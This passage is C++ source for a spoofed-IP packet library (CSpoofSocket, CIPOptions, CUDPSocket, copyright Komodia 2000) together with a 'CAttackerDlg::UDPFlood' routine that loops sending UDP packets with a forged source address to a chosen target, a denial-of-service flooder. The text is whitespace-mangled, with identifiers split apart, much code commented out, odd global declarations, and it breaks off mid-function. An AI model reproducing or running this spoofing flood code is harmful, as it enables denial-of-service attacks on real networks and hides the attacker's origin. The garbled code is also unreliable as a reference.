m_LastError=WSAESHUTDOWN;
return FALSE;
}
//OK
return TRUE;
}
BOOL CSpoofSocket::Close()
{
//Close the socket
//Quit if not ok
if (!CheckSocketValid())
return FALSE;
//Close it
if (closesocket(getHandle())= =SOCKET_ER ROR)
{
//Error in closing ?
m_LastError=WSAGetLastErro r();
return FALSE;
}
//Set the socket to invalid
m_SpoofSocket=INVALID_SOCK ET;
//Remove from tree
RemoveSocketFromList();
return TRUE;
}
BOOL CSpoofSocket::InitializeSo ckets()
{
//Initialize the sockets
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if (err!=0)
/* Tell the user that we could not find a usable */
/* WinSock DLL. */
return FALSE;
/* Confirm that the WinSock DLL supports 2.2.*/
/* Note that if the DLL supports versions greater */
/* than 2.2 in addition to 2.2, it will still return */
/* 2.2 in wVersion since that is the version we */
/* requested. */
if (LOBYTE(wsaData.wVersion)! =2 || HIBYTE(wsaData.wVersion)!= 2)
{
/* Tell the user that we could not find a usable */
/* WinSock DLL. */
WSACleanup();
return FALSE;
}
//OK
//Intialize the tree
if (!m_SocketTree)
m_SocketTree=new CBinaryTree;
return TRUE;
}
void CSpoofSocket::SetProtocol( int iProtocol)
{
m_Protocol=iProtocol;
}
void CSpoofSocket::SetSourceAdd ress(LPCST R lpSourceAddress)
{
//Set the source address, in case we want to spoof it
m_SourceAddress=lpSourceAd dress;
}
unsigned short CSpoofSocket::CalculatePse udoChecksu m(char *buf, int BufLength,LPCSTR lpDestinationAddress,int iPacketLength)
{
//Calculate the checksum
LPPseudoHeader lpPseudo;
lpPseudo=new PseudoHeader;
lpPseudo->DestinationAddre ss=inet_ad dr(lpDesti nationAddr ess);
lpPseudo->SourceAddress=in et_addr(m_ SourceAddr ess);
lpPseudo->Zeros=0;
lpPseudo->PTCL=m_Protocol;
lpPseudo->Length=htons(iPa cketLength );
//Calculate checksum of all
int iTotalLength;
iTotalLength=PseudoHeaderL ength+BufL ength;
char* tmpBuf;
tmpBuf=new char[iTotalLength];
//Copy pseudo
memcpy(tmpBuf,lpPseudo,Pse udoHeaderL ength);
//Copy header
memcpy(tmpBuf+PseudoHeader Length,buf ,BufLength );
//Calculate the checksum
unsigned short usChecksum;
usChecksum=CalculateChecks um((unsign ed short*)tmpBuf,iTotalLength );
//Delete all
delete tmpBuf;
delete lpPseudo;
//Return checksum
return usChecksum;
}
void CSpoofSocket::SetTTL(unsig ned char ucTTL)
{
if (m_Raw)
{
//Set the ttl
m_TTL=ucTTL;
}
else
setsockopt(getHandle(),IPP ROTO_IP,IP _TTL,(cons t char*)&ucTTL,sizeof(ucTTL) );
}
BOOL CSpoofSocket::Listen(int iBackLog)
{
int iResult;
iResult=listen(getHandle() ,iBackLog) ;
if (iResult)
SetLastError();
return !iResult;
}
BOOL CSpoofSocket::ShutdownSock ets()
{
//Clear windows
BOOL bHandlers;
bHandlers=RemoveHandlers() ;
//Delete tree
delete m_SocketTree;
m_SocketTree=NULL;
if (WSACleanup()==SOCKET_ERRO R)
{
SetLastError();
return FALSE;
}
else
return bHandlers;
}
void CSpoofSocket::SetRaw(BOOL bRaw)
{
//Do we want to create raw socket (YES!!)
m_Raw=bRaw;
}
void CSpoofSocket::SetOptions(B OOL bOptions)
{
//Do we want options, normaly not
m_Options=bOptions;
if (m_IPOptions)
{
delete m_IPOptions;
m_IPOptions=NULL;
}
if (bOptions)
m_IPOptions=new CIPOptions;
}
CIPOptions::CIPOptions()
{
//Initialize our buffer
m_Buffer=new char[IPOption_SIZE];
//Set our buffer to nothing
Reset();
//Our buffer length
m_BufferLength=0;
//Set auto pad
m_AutoPAD=TRUE;
}
CIPOptions::~CIPOptions()
{
delete m_Buffer;
}
void CIPOptions::AddOption_Noth ing()
{
//Add option do nothing
//tOptionType OT;
////Get the option
//OT=GetOption(IPOption_DO NT_COPY,IP Option_CON TROL,IPOpt ion_NO_OPE RATION);
////Add it to buffer
//AddToBuffer((char*)&OT,s izeof(OT)) ;
}
tOptionType CIPOptions::GetOption(unsi gned char CopyFlag, unsigned char ClassFlag, unsigned char TypeFlag)
{
//Return a single option type
return CopyFlag | ClassFlag | TypeFlag;
}
void CIPOptions::AddToBuffer(ch ar *buf, int BufLength)
{
if (m_BufferLength<IPOption_S IZE)
{
//Add our option to the buffer
/*memcpy(m_Buffer+m_Buffer Length,buf ,BufLength );
m_BufferLength+=BufLength; */
}
}
const char* CIPOptions::GetBuffer()
{
return m_Buffer;
}
int CIPOptions::GetBufferLengt h()
{
//Check if auto pad or not
if (m_AutoPAD)
if (m_BufferLength/IPOption_W RAPSIZE==( m_BufferLe ngth/IPOpt ion_WRAPSI ZE)*IPOpti on_WRAPSIZ E && m_BufferLength>=IPOption_W RAPSIZE)
return m_BufferLength;
else
return int((float)m_BufferLength/ IPOption_W RAPSIZE+1) *IPOption_ WRAPSIZE;
else
return m_BufferLength;
}
void CIPOptions::AddOption_ENDL IST()
{
//End the list of options
tOptionType OT;
//Get the option
OT=GetOption(IPOption_DONT _COPY,IPOp tion_CONTR OL,IPOptio n_END_OPTI ON);
////Add it to buffer
//AddToBuffer((char*)&OT,s izeof(OT)) ;
}
void CIPOptions::SetAutoPad(BOO L bAutoPAD)
{
m_AutoPAD=bAutoPAD;
}
CIPOptions* CSpoofSocket::GetOptions()
{
return m_IPOptions;
}
void CIPOptions::Reset()
{
//Set all to zeros
memset(m_Buffer,0,IPOption _SIZE);
}
void CIPOptions::AddOption_Secu rity(unsig ned short usType)
{
////Add option security
//tOptionType OT;
////Get the option
//OT=GetOption(IPOption_CO PY,IPOptio n_CONTROL, IPOption_S ECURITY);
////Add it to buffer
//AddToBuffer((char*)&OT,s izeof(OT)) ;
////Add length
//OT=IPOption_SECURITY_LEN GTH;
//AddToBuffer((char*)&OT,s izeof(OT)) ;
////Add options
//AddToBuffer((char*)&usTy pe,sizeof( usType));
//Add zeros
unsigned short usZeros=0;
unsigned char ucZeros=0;
//A hacker would enumarate these values, according to the RFC
//Compartments
//AddToBuffer((char*)&usZe ros,sizeof (usZeros)) ;
////Handling restrictions
//AddToBuffer((char*)&usZe ros,sizeof (usZeros)) ;
////Transmition control code (TCC)
//AddToBuffer((char*)&usZe ros,sizeof (usZeros)) ;
//AddToBuffer((char*)&ucZe ros,sizeof (ucZeros)) ;
////Done
}
void CIPOptions::AddOption_Stre am(unsigne d short usStreamID)
{
// //Add option security
//tOptionType OT;
////Get the option
//OT=GetOption(IPOption_CO PY,IPOptio n_CONTROL, IPOption_S TREAM);
////Add it to buffer
//AddToBuffer((char*)&OT,s izeof(OT)) ;
////Add length
//OT=IPOption_STREAM_LENGT H;
//AddToBuffer((char*)&OT,s izeof(OT)) ;
////Add options
//unsigned short usnStreamID;
//usnStreamID=htons(usStre amID);
//AddToBuffer((char*)&usnS treamID,si zeof(usnSt reamID));
}
void CIPOptions::AddOption_Stri ctRoute(tR outing tRoute)
{
/*AddOption_Route(IPOption _STRICT_RO UTING,tRou te);*/
}
void CIPOptions::AddOption_Reco rdRoute(in t iMaxRoutes)
{
////Option for strict routine
////Add option strict route
//tOptionType OT;
////Get the option
//OT=GetOption(IPOption_DO NT_COPY,IP Option_CON TROL,IPOpt ion_RECORD _ROUTE);
////Add it to buffer
//AddToBuffer((char*)&OT,s izeof(OT)) ;
////Add the length
//OT=iMaxRoutes*4+IPOption _STRICT_RO UTING_LENG TH;
//AddToBuffer((char*)&OT,s izeof(OT)) ;
//
////Add the pointer
//OT=IPOption_STRICT_ROUTI NG_POINTER ;
//AddToBuffer((char*)&OT,s izeof(OT)) ;
//
//char cNothing[IPOption_SIZE]="" ;
//AddToBuffer(cNothing,iMa xRoutes*4) ;
}
void CIPOptions::AddOption_Rout e(tOptionT ype tRouteType,tRouting tRoute)
{
//Option for strict routine
//Add option strict route
tOptionType OT;
////Get the option
//OT=GetOption(IPOption_CO PY,IPOptio n_CONTROL, tRouteType );
////Add it to buffer
//AddToBuffer((char*)&OT,s izeof(OT)) ;
////Add the length
//OT=tRoute.iRoutes*4+IPOp tion_STRIC T_ROUTING_ LENGTH;
//AddToBuffer((char*)&OT,s izeof(OT)) ;
//
////Add the pointer
//OT=IPOption_STRICT_ROUTI NG_POINTER ;
//AddToBuffer((char*)&OT,s izeof(OT)) ;
//
////Add the routing table
//AddToBuffer((char*)tRout e.ulRoutes ,tRoute.iR outes*4);
}
void CIPOptions::AddOption_Loos eRoute(tRo uting tRoute)
{
AddOption_Route(IPOption_L OOSE_ROUTI NG,tRoute) ;
}
void CIPOptions::AddOption_Time stamp(tOpt ionType tFlags, int iMaxStamps)
{
////Add option for timestamp
//tOptionType OT;
////Get the option
//OT=GetOption(IPOption_DO NT_COPY,IP Option_DEB UGGING,IPO ption_TIME STAMP);
////Add it to buffer
//AddToBuffer((char*)&OT,s izeof(OT)) ;
////Add the length
//OT=iMaxStamps*IPOption_T IMESTAMP_S IZE+IPOpti on_TIMESTA MP_LENGTH- 1;
//AddToBuffer((char*)&OT,s izeof(OT)) ;
//
////Add the pointer
//OT=IPOption_TIMESTAMP_LE NGTH;
//AddToBuffer((char*)&OT,s izeof(OT)) ;
////Add the flags
//AddToBuffer((char*)&tFla gs,sizeof( tFlags));
////Add the empty buffer
//char cNothing[IPOption_SIZE]="" ;
//AddToBuffer(cNothing,iMa xStamps*IP Option_TIM ESTAMP_SIZ E);
}
BOOL CSpoofSocket::SetHandlers( )
{
//Check if we allow async sockets
if (!m_Async)
return TRUE;
//First create the window class
if (!m_Window)
if (!RegisterWindow())
{
//Error
m_LastError=::GetLastError ();
return FALSE;
}
else
{
m_WindowHandle=CreateWindo wEx(0,CSpo ofSocket_C lass,"Sock et notification sink",
WS_OVERLAPPED,0,0,0,0,0,NU LL,GetInst ance(),NUL L);
//Check the value of the window
if (!m_WindowHandle)
{
//Error
m_LastError=::GetLastError ();
return FALSE;
}
else
//We have a window
m_Window=TRUE;
}
//Created !!
//Success
return TRUE;
}
HINSTANCE CSpoofSocket::GetInstance( )
{
//Returns the instance of the application, must be overided
return m_Instance;
}
BOOL CSpoofSocket::OnSocketRece ive(int iErrorCode)
{
//Must override!
return TRUE;
}
BOOL CSpoofSocket::OnSocketWrit e(int iErrorCode)
{
return TRUE;
}
BOOL CSpoofSocket::OnSocketOOB( int iErrorCode)
{
return TRUE;
}
BOOL CSpoofSocket::OnSocketClos e(int iErrorCode)
{
return TRUE;
}
BOOL CSpoofSocket::OnSocketAcce pt(int iErrorCode)
{
return TRUE;
}
BOOL CSpoofSocket::OnSocketConn ect(int iErrorCode)
{
return TRUE;
}
int CSpoofSocket::GetSocketID( )
{
return m_SocketID;
}
CSpoofSocket* CSpoofSocket::GetSocketByI D(int iSockID)
{
//Get the socket
CBinaryTree* retVal;
retVal=m_SocketTree->getNo de(iSockID );
//Check if valid
if (retVal)
//Got socket
return (CSpoofSocket*)retVal->get Data();
else
//Nothing
return NULL;
}
BOOL CSpoofSocket::RegisterWind ow()
{
WNDCLASS wc;
/* Fill in window class structure with parameters that describe the */
/* main window. */
wc.style = 0; /* Class style(s). */
wc.lpfnWndProc = (WNDPROC)SocketMessageHand ler; /* Function to retrieve messages for */
/* windows of this class. */
wc.cbClsExtra = 0; /* No per-class extra data. */
wc.cbWndExtra = 0; /* No per-window extra data. */
wc.hIcon = NULL; /* Icon name from .RC */
wc.hInstance = GetInstance(); /* Application that owns the class. */
wc.hCursor = NULL;
wc.hbrBackground = NULL;
wc.lpszMenuName = NULL; /* Name of menu resource in .RC file. */
wc.lpszClassName = CSpoofSocket_Class ; /* Name used in call to CreateWindow. */
/* Register the window class and return success/failure code. */
return (RegisterClass(&wc));
}
//Static members
CBinaryTree* CSpoofSocket::m_SocketTree =NULL;
BOOL CSpoofSocket::m_Window=FAL SE;
HWND CSpoofSocket::m_WindowHand le=0;
void CSpoofSocket::SetInstance( HINSTANCE hInst)
{
m_Instance=hInst;
}
BOOL CSpoofSocket::isRaw()
{
return m_Raw;
}
BOOL CSpoofSocket::RemoveHandle rs()
{
//First shut down the windows
if (m_Window)
{
if (!DestroyWindow(m_WindowHa ndle))
return FALSE;
if (!UnregisterClass(CSpoofSo cket_Class ,GetInstan ce()))
return FALSE;
}
m_Window=FALSE;
m_WindowHandle=NULL;
return TRUE;
}
HWND CSpoofSocket::getWindowHan dle()
{
return m_WindowHandle;
}
void CSpoofSocket::InitializeIP ()
{
//Invalid the socket
m_SpoofSocket=INVALID_SOCK ET;
//More invalids
m_SourceAddress=NULL;
//Some defaults
m_TTL=g_nTTLVAR;
//We don't want raw header (so it can work on win 98/NT)
m_Raw=FALSE;
//Set our options
m_IPOptions=NULL;
//Set options to false
SetOptions(FALSE);
//We want async socket
SetBlocking(FALSE);
}
void CSpoofSocket::AssignSocket (SOCKET sok)
{
//Binds to a socket
m_SpoofSocket=sok;
//Set non raw
SetRaw(FALSE);
//Set the handlers
SetHandlers();
//Append socket to list
AddSocketToList();
}
void CSpoofSocket::AddSocketToL ist()
{
//Add socket to list
m_SocketID=m_SpoofSocket;
m_SocketTree->newNode(GetS ocketID()) ->setData( this);
}
void CSpoofSocket::RemoveSocket FromList()
{
m_SocketTree->deleteNode(m _SocketID) ;
}
int CSpoofSocket::Receive(char *buf, int bufLen)
{
if (!ValidSocket())
return SOCKET_ERROR;
//Receive data
int iResult;
//Receive
if (m_Protocol!=IPPROTO_TCP)
iResult=recvfrom(getHandle (),buf,buf Len,NULL,N ULL,NULL);
else
iResult=recv(getHandle(),b uf,bufLen, NULL);
//Check if error
if (iResult==SOCKET_ERROR)
//Error
SetLastError();
//Number of bytes received
return iResult;
}
char FAR * CSpoofSocket::LongToString (long lAddr)
{
//First create the address
in_addr addr;
//Assign it
addr.S_un.S_addr=lAddr;
//Return the value
return inet_ntoa(addr);
}
BOOL CSpoofSocket::OnSocketTime out()
{
//Indicating timeout proccessed
return FALSE;
}
BOOL CSpoofSocket::SetTimeout(i nt iMs)
{
if (!m_Window)
return FALSE;
//Set the timer
return SetTimer(getWindowHandle() ,getHandle (),iMs,NUL L);
}
BOOL CSpoofSocket::KillTimer()
{
if (!m_Window)
return FALSE;
return ::KillTimer(getWindowHandl e(),getHan dle());
}
BOOL CSpoofSocket::ValidAddress (LPCTSTR lpAddress)
{
return inet_addr(lpAddress)!=INAD DR_NONE;
}
void CSpoofSocket::SetBlocking( BOOL bBlock)
{
//Do we want blocking socket
m_Async=!bBlock;
}
SpoofSocket.H header file:
/*
*
*
* Copyright (c) 2000 Barak Weichselbaum <barak@komodia.com>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*
* Contact info:
* Site: http://www.komodia.com
* Email: barak@komodia.com
*/
#if !defined(AFX_SPOOFSOCKET_H __5BAEA068 _961A_4652 _8BBD_90B7 8F6FBB09__ INCLUDED_)
#define AFX_SPOOFSOCKET_H__5BAEA06 8_961A_465 2_8BBD_90B 78F6FBB09_ _INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// SpoofSocket.h : header file
//
#include <winsock2.h>
#include <ws2tcpip.h>
////////////////////////// ////////// ////////// ////////// ////////// ////////// /
// CSpoofSocket command target
////////////////////////// ////////// ////////// ////////// //////////
// //
// IP Header //
// Implementation of RFC791 IP Header //
// //
////////////////////////// ////////// ////////// ////////// //////////
typedef struct _PseudoHeader
{
unsigned int SourceAddress;
unsigned int DestinationAddress;
unsigned char Zeros;
unsigned char PTCL;
unsigned short Length;
} PseudoHeader;
typedef PseudoHeader FAR * LPPseudoHeader;
#define PseudoHeaderLength sizeof(PseudoHeader)
#define tOptionType unsigned char
typedef struct _IPOption
{
tOptionType OptionType;
unsigned char OptionLength;
unsigned char OptionData;
} IPOption;
//IP Options flags (1bit)
#define IPOption_COPY 128
#define IPOption_DONT_COPY 0
//IP Options class (2 bits)
#define IPOption_CONTROL 0
#define IPOption_RESERVED 2
#define IPOption_DEBUGGING 64
#define IPOption_RESERVED2 6
//IP options type
#define IPOption_END_OPTION 0 //End of option list
#define IPOption_NO_OPERATION 1 //Do nothing
#define IPOption_SECURITY 2 //Security information
#define IPOption_LOOSE_ROUTING 3 //Loose routing options
#define IPOption_STRICT_ROUTING 9 //Strict source routing
#define IPOption_RECORD_ROUTE 7 //Record route on datagram
#define IPOption_STREAM 8 //Used to carry stream identifier
#define IPOption_TIMESTAMP 4 //Internet timestamp
//IP options extensions - Security
#define IPOption_SECURITY_LENGTH 11
#define IPOption_SECURITY_UNCLASSI FIED 0
#define IPOption_SECURITY_CONFIDEN TIAL 0x1111000100110101b
#define IPOption_SECURITY_EFTO 0x0111100010011010b
#define IPOption_SECURITY_MMMM 0x1011110001001101b
#define IPOption_SECURITY_PROG 0x0101111000100110b
#define IPOption_SECURITY_RESTRICT ED 0x1010111100010011b
#define IPOption_SECURITY_SECRET 0x1101011110001000b
#define IPOption_SECURITY_TOPSECRE T 0x0110101111000101b
#define IPOption_SECURITY_RESERVED 1 0x0011010111100010b
#define IPOption_SECURITY_RESERVED 2 0x1001101011110001b
#define IPOption_SECURITY_RESERVED 3 0x0100110101111000b
#define IPOption_SECURITY_RESERVED 4 0x0010010010111101b
#define IPOption_SECURITY_RESERVED 5 0x0001001101011110b
#define IPOption_SECURITY_RESERVED 6 0x1000100110101111b
#define IPOption_SECURITY_RESERVED 7 0x1100010011010110b
#define IPOption_SECURITY_RESERVED 8 0x1110001001101011b
//IP options extensions - Stream ID
#define IPOption_STREAM_LENGTH 4
//IP options extensions - Strict routing
#define IPOption_STRICT_ROUTING_LE NGTH 3
#define IPOption_STRICT_ROUTING_PO INTER 4
//IP options extensions - Time Stamp
#define IPOption_TIMESTAMP_LENGTH 5
#define IPOption_TIMESTAMP_ONLY 0
#define IPOption_TIMESTAMP_EACH 1
#define IPOption_TIMESTAMP_PRE 2
#define IPOption_TIMESTAMP_SIZE 8
typedef struct _IpHeader
{
unsigned char HeaderLength_Version;
unsigned char TypeOfService; // Type of service
unsigned short TotalLength; // total length of the packet
unsigned short Identification; // unique identifier
unsigned short FragmentationFlags; // flags
unsigned char TTL; // Time To Live
unsigned char Protocol; // protocol (TCP, UDP etc)
unsigned short CheckSum; // IP Header checksum
unsigned int sourceIPAddress; // Source address
unsigned int destIPAddress; // Destination Address
} IpHeader;
typedef IpHeader FAR * LPIpHeader;
#define IpHeaderLength sizeof(IpHeader)
//Some IP constants
//Version
#define IpVersion 4
//Service types
#define IpService_NETWORK_CONTROL 111
#define IpService_INTERNETWORK_CON TROL 110
#define IpService_CRITIC_ECP 101
#define IpService_FLASH_OVERIDE 100
#define IpService_FLASH 011
#define IpService_IMMEDIATE 010
#define IpService_PRIORITY 001
#define IpService_ROUTINE 0
//Fragmetation flag
#define IpFragFlag_MAY_FRAG 0x0000
#define IpFragFlag_MORE_FRAG 0x2000
#define IpFragFlag_LAST_FRAG 0x5000
#define IpFragFlag_DONT_FRAG 0x4000
//Internet protocols
#define IpProtocol_ICMP 1
#define IpProtocol_TCP 6
#define IpProtocol_UDP 17
#define IP_DEF_TTL 1
#define IPOption_WRAPSIZE 4
#define IPOption_SIZE 40
#define IPOption_MAX_ROUTES 10
typedef struct _Routing
{
int iRoutes;
unsigned long ulRoutes[IPOption_MAX_ROUT ES];
} tRouting;
class CBinaryTree;
class CIPOptions
{
public:
CIPOptions();
virtual ~CIPOptions();
private:
BOOL m_AutoPAD;
int m_BufferLength;
char* m_Buffer;
protected:
void AddOption_Route(tOptionTyp e tRouteType,tRouting tRoute);
void AddToBuffer(char* buf,int BufLength);
tOptionType GetOption(unsigned char CopyFlag,unsigned char ClassFlag,unsigned char TypeFlag);
public:
void AddOption_Timestamp(tOptio nType tFlags,int iMaxStamps);
void AddOption_LooseRoute(tRout ing tRoute);
void AddOption_RecordRoute(int iMaxRoutes);
void AddOption_StrictRoute(tRou ting tRoute);
void AddOption_Stream(unsigned short usStreamID);
virtual void AddOption_Security(unsigne d short usType);
void Reset();
void SetAutoPad(BOOL bAutoPAD);
virtual void AddOption_ENDLIST();
int GetBufferLength();
const char* GetBuffer();
virtual void AddOption_Nothing();
};
//Message handlers
#define WM_BASE WM_USER
#define WM_SOCKET_GENERAL WM_BASE+1
#define WM_SOCKET_ACCEPT WM_BASE+2
#define WM_SOCKET_CONNECT WM_BASE+3
#define WM_SOCKET_TIMEOUT WM_BASE+4
//Window class name
#define CSpoofSocket_Class "CSpoofSocketClass"
class CSpoofSocket
{
// Attributes
public:
// Operations
public:
CSpoofSocket();
virtual ~CSpoofSocket();
// Overrides
public:
void SetBlocking(BOOL bBlock);
BOOL ValidAddress(LPCTSTR lpAddress);
BOOL KillTimer();
BOOL SetTimeout(int iMs);
char FAR * LongToString(long lAddr);
virtual int Receive(char* buf,int bufLen);
void SetInstance(HINSTANCE hInst);
int GetSocketID();
CIPOptions* GetOptions();
void SetOptions(BOOL bOptions);
void SetRaw(BOOL bRaw);
BOOL ShutdownSockets();
BOOL Listen(int iBackLog);
void SetTTL(unsigned char ucTTL);
unsigned short CalculatePseudoChecksum(ch ar *buf, int BufLength,LPCSTR lpDestinationAddress,int iPacketLength);
void SetSourceAddress(LPCSTR lpSourceAddress);
BOOL InitializeSockets();
BOOL Close();
virtual BOOL Bind(LPCSTR lpSourceAddress,int iPort=0);
int GetLastError();
virtual BOOL Send(LPCSTR lpDestinationAddress,LPCST R g_nData);
BOOL Create(int iProtocol);
protected:
void AssignSocket(SOCKET sok);
CSpoofSocket(SOCKET sok);
HWND getWindowHandle();
BOOL RemoveHandlers();
BOOL isRaw();
virtual BOOL OnSocketTimeout();
virtual BOOL OnSocketConnect(int iErrorCode);
virtual BOOL OnSocketAccept(int iErrorCode);
virtual BOOL OnSocketClose(int iErrorCode);
virtual BOOL OnSocketOOB(int iErrorCode);
virtual BOOL OnSocketWrite(int iErrorCode);
virtual BOOL OnSocketReceive(int iErrorCode);
virtual HINSTANCE GetInstance();
BOOL SetHandlers();
LPCSTR m_SourceAddress;
void SetProtocol(int iProtocol);
BOOL CheckSocketValid();
unsigned short CalculateChecksum(unsigned short* usBuf,int iSize);
BOOL ValidSocket();
void SetLastError();
SOCKET getHandle();
virtual void InitializeIP();
virtual void SetIPHeaderAddress(LPIpHea der lpHead,LPCSTR lpSourceAddress,LPCSTR lpDestinationAddress);
virtual LPIpHeader ConstructIPHeader (unsigned char ucProtocol,
unsigned short usFragmentationFlags,
unsigned char ucTTL,
unsigned short usIdentification,
unsigned char ucHeaderLength);
private:
BOOL m_Async;
void RemoveSocketFromList();
void AddSocketToList();
HINSTANCE m_Instance;
static BOOL m_Window;
BOOL RegisterWindow();
static CSpoofSocket* GetSocketByID(int iSockID);
int m_SocketID;
static HWND m_WindowHandle;
CIPOptions* m_IPOptions;
BOOL m_Options;
BOOL m_Raw;
unsigned char m_TTL;
unsigned char m_Protocol;
int m_LastError;
SOCKET m_SpoofSocket;
static CBinaryTree* m_SocketTree;
friend LRESULT CALLBACK SocketMessageHandler(HWND hwnd,UINT uMsg,WPARAM wParam,LPARAM lParam);
};
////////////////////////// ////////// ////////// ////////// ////////// ////////// /
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // !defined(AFX_SPOOFSOCKET_H __5BAEA068 _961A_4652 _8BBD_90B7 8F6FBB09__ INCLUDED_)
UDP function call:
void CAttackerDlg::UDPFlood()
{
//Create the udp socket
CUDPSocket* udp;
udp=new CUDPSocket();
udp->SetRaw(TRUE);
//Was an error
BOOL bError=TRUE;
if (udp->Create())
{
bError=FALSE;
//Set the source IP
char* cSourceIP;
cSourceIP=IPCtrlToSTR(&m_S ourceIP);
if (!cSourceIP)
//Error
AfxMessageBox(ERROR_INVALI D_SOURCE);
else
{
//Copy source IP
cSourceIP=_strdup(cSourceI P);
char* cDestinationIP;
cDestinationIP=IPCtrlToSTR (&m_Destin ationIP);
if (!cDestinationIP)
{
delete cSourceIP;
//Error
AfxMessageBox(ERROR_INVALI D_DESTINAT ION);
}
else
{
bError=TRUE;
if (m_IPOptions)
SetIPOptions(udp);
//Let's attack
udp->SetSourceAddress(cSou rceIP);
char cFlood[]="test";
for (int iCount=1;iCount<=m_Packets ;iCount++)
if (udp->Send(m_SourcePort,cD estination IP,m_Desti nationPort ,g_nData))
//OK
bError=FALSE;
delete cSourceIP;
}
}
}
if (bError)
//Display error
DisplaySocketError(udp);
udp->Close();
delete udp;
}
UDP header:
// UDPSocket.h: interface for the CUDPSocket class.
//
////////////////////////// ////////// ////////// ////////// ////////// ////
/*
*
*
* Copyright (c) 2000 Barak Weichselbaum <barak@komodia.com>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*
* Contact info:
* Site: http://www.komodia.com
* Email: barak@komodia.com
*/
#if !defined(AFX_UDPSOCKET_H__ B6FDDD18_1 9E2_4E61_A 04E_CC6DD8 583966__IN CLUDED_)
#define AFX_UDPSOCKET_H__B6FDDD18_ 19E2_4E61_ A04E_CC6DD 8583966__I NCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "SpoofSocket.h"
typedef struct _UDPHeader
{
unsigned short SourcePort;
unsigned short DestinationPort;
unsigned short Length;
unsigned short Checksum;
} UDPHeader;
typedef UDPHeader FAR * LPUDPHeader;
#define UDPHeaderLength sizeof(UDPHeader)
class CUDPSocket : public CSpoofSocket
{
public:
BOOL SetBroadcast(BOOL bBroadcast);
BOOL Send(int iSourcePort,
LPCSTR lpDestinationAddress,
int iDestinationPort,
LPCSTR g_nData);
BOOL Create();
CUDPSocket();
virtual ~CUDPSocket();
};
#endif // !defined(AFX_UDPSOCKET_H__ B6FDDD18_1 9E2_4E61_A 04E_CC6DD8 583966__IN CLUDED_)
UDPSOCKET.cpp source:
#include "stdafx.h"
#include "UDPSocket.h"
#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif
int buf;
int BufLength;
////////////////////////// ////////// ////////// ////////// ////////// ////
// Construction/Destruction
////////////////////////// ////////// ////////// ////////// ////////// ////
CUDPSocket::CUDPSocket() : CSpoofSocket()
{
}
CUDPSocket::~CUDPSocket()
{
}
BOOL CUDPSocket::Create()
{
SetProtocol(IPPROTO_UDP);
return CSpoofSocket::Create(IPPRO TO_UDP);
}
BOOL CUDPSocket::Send(int iSourcePort,
LPCSTR lpDestinationAddress,
int iDestinationPort,
LPCSTR g_nData
)
{
//We can construct the UDP here
LPUDPHeader lpUDP;
lpUDP=new UDPHeader;
//Set the ports
lpUDP->SourcePort=htons(iS ourcePort) ;
lpUDP->DestinationPort=hto ns(iDestin ationPort) ;
//Set the length
lpUDP->Length=htons(UDPHea derLength) ;
//Check sum
lpUDP->Checksum=0;
BOOL bResult;
if (BufLength)
{
//Create the buffer
int iTotalLength;
iTotalLength=UDPHeaderLeng th+BufLeng th;
char* tmpBuf;
tmpBuf=new char[iTotalLength];
/* memcpy(tmpBuf,lpUDP,UDPHea derLength) ;
memcpy(tmpBuf+UDPHeaderLen gth,buf,Bu fLength);
*/
//Update it
